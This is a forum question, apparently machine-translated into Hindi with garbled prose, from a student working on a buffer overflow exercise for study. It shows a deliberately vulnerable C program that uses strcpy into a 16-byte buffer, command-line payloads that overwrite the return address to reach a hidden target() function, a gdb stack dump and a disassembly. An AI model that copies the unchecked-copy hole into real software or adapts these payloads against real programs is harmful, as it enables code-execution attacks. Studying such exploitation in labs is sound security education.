अपनी पढ़ाई के लिए मैं इतना है कि यह बफर overflows और एक "गुप्त" समारोह 'लक्ष्य' कहा जाता कॉलएक बफर अतिप्रवाह शोषण
इस कोड को मैं एक i686 पर परीक्षण के लिए उपयोग है एक पेलोड बनाने का प्रयास करें
#include "stdio.h"
#include "string.h"
void target() {
printf("target\n");
}
void vulnerable(char* input) {
char buffer[16];
strcpy(buffer, input);
}
int main(int argc, char** argv) {
if(argc == 2)
vulnerable(argv[1]);
else
printf("Need an argument!");
return 0;
}
कार्य 1: एक पेलोड बनाएं ताकि लक्ष्य() को कॉल किया जा सके। लक्ष्य कार्य के पते के साथ ईआईपी को बदलकर ऐसा करना आसान था।
run AAAAAAAAAAAAAAAAAAAAAAAAAAAA$'\x7d\x84\x04\x08'
यह ठीक काम करता है, लेकिन एक विभाजन गलती के साथ बंद हो जाता है:
यह कैसे बफर लग रहा है
Buffer
(gdb) x/8x buffer
0xbfffef50: 0x41414141 0x41414141 0x00414141 0x08048532
0xbfffef60: 0x00000002 0xbffff024 0xbfffef88 0x080484ca
पेलोड मैं प्रयोग किया जाता था।
कार्य 2: एक तरह से पेलोड को संशोधित कि यह एक विभाजन गलती
नहीं देता है यह वह जगह है जहाँ मैं अटक कर रहा हूँ। जाहिर है, यह सेगमेंटेशन गलती का कारण बनता है क्योंकि हम कॉल निर्देश के साथ लक्ष्य नहीं कहते हैं और इसलिए कोई वैध रिटर्न पता नहीं है।
मैं ढेर पर वापसी पता जोड़ने की कोशिश की, लेकिन वह मदद नहीं की
run AAAAAAAAAAAAAAAAAAAAAAAA$'\xca\x84\x04\x08'$'\x7d\x84\x04\x08'
हो सकता है कि किसी ने मुझे इस के साथ मदद कर सकते हैं। शायद मुझे मुख्य रूप से सहेजे गए ईबीपी को भी जोड़ना होगा?
मैं programm
0804847d <target>:
804847d: 55 push %ebp
804847e: 89 e5 mov %esp,%ebp
8048480: 83 ec 18 sub $0x18,%esp
8048483: c7 04 24 70 85 04 08 movl $0x8048570,(%esp)
804848a: e8 c1 fe ff ff call 8048350 <[email protected]>
804848f: c9 leave
8048490: c3 ret
08048491 <vulnerable>:
8048491: 55 push %ebp
8048492: 89 e5 mov %esp,%ebp
8048494: 83 ec 28 sub $0x28,%esp
8048497: 8b 45 08 mov 0x8(%ebp),%eax
804849a: 89 44 24 04 mov %eax,0x4(%esp)
804849e: 8d 45 e8 lea -0x18(%ebp),%eax
80484a1: 89 04 24 mov %eax,(%esp)
80484a4: e8 97 fe ff ff call 8048340 <[email protected]>
80484a9: c9 leave
80484aa: c3 ret
080484ab <main>:
80484ab: 55 push %ebp
80484ac: 89 e5 mov %esp,%ebp
80484ae: 83 e4 f0 and $0xfffffff0,%esp
80484b1: 83 ec 10 sub $0x10,%esp
80484b4: 83 7d 08 02 cmpl $0x2,0x8(%ebp)
80484b8: 75 12 jne 80484cc <main+0x21>
80484ba: 8b 45 0c mov 0xc(%ebp),%eax
80484bd: 83 c0 04 add $0x4,%eax
80484c0: 8b 00 mov (%eax),%eax
80484c2: 89 04 24 mov %eax,(%esp)
80484c5: e8 c7 ff ff ff call 8048491 <vulnerable>
80484ca: eb 0c jmp 80484d8 <main+0x2d>
80484cc: c7 04 24 77 85 04 08 movl $0x8048577,(%esp)
80484d3: e8 58 fe ff ff call 8048330 <[email protected]>
80484d8: b8 00 00 00 00 mov $0x0,%eax
80484dd: c9 leave
80484de: c3 ret
80484df: 90 nop
कृपया एक नोट जोड़ें जिसमें आर्किटेक्चर हम यहां बात कर रहे हैं। मुझे x86 लगता है? –
आह क्षमा करें हाँ यह i686 – Chris
यह मुश्किल है .. मैं स्टैक को दूषित नहीं करने के लिए ईबीपी को बरकरार रखने की कोशिश कर रहा हूं, लेकिन यह पता नहीं लगा सकता कि मुख्य रूप से धक्का देने वाले ईबीपी को कैसे प्राप्त किया जाए, जैसे प्रारंभिक कोड जिसे इसे कहा जाता है segfault नहीं है। –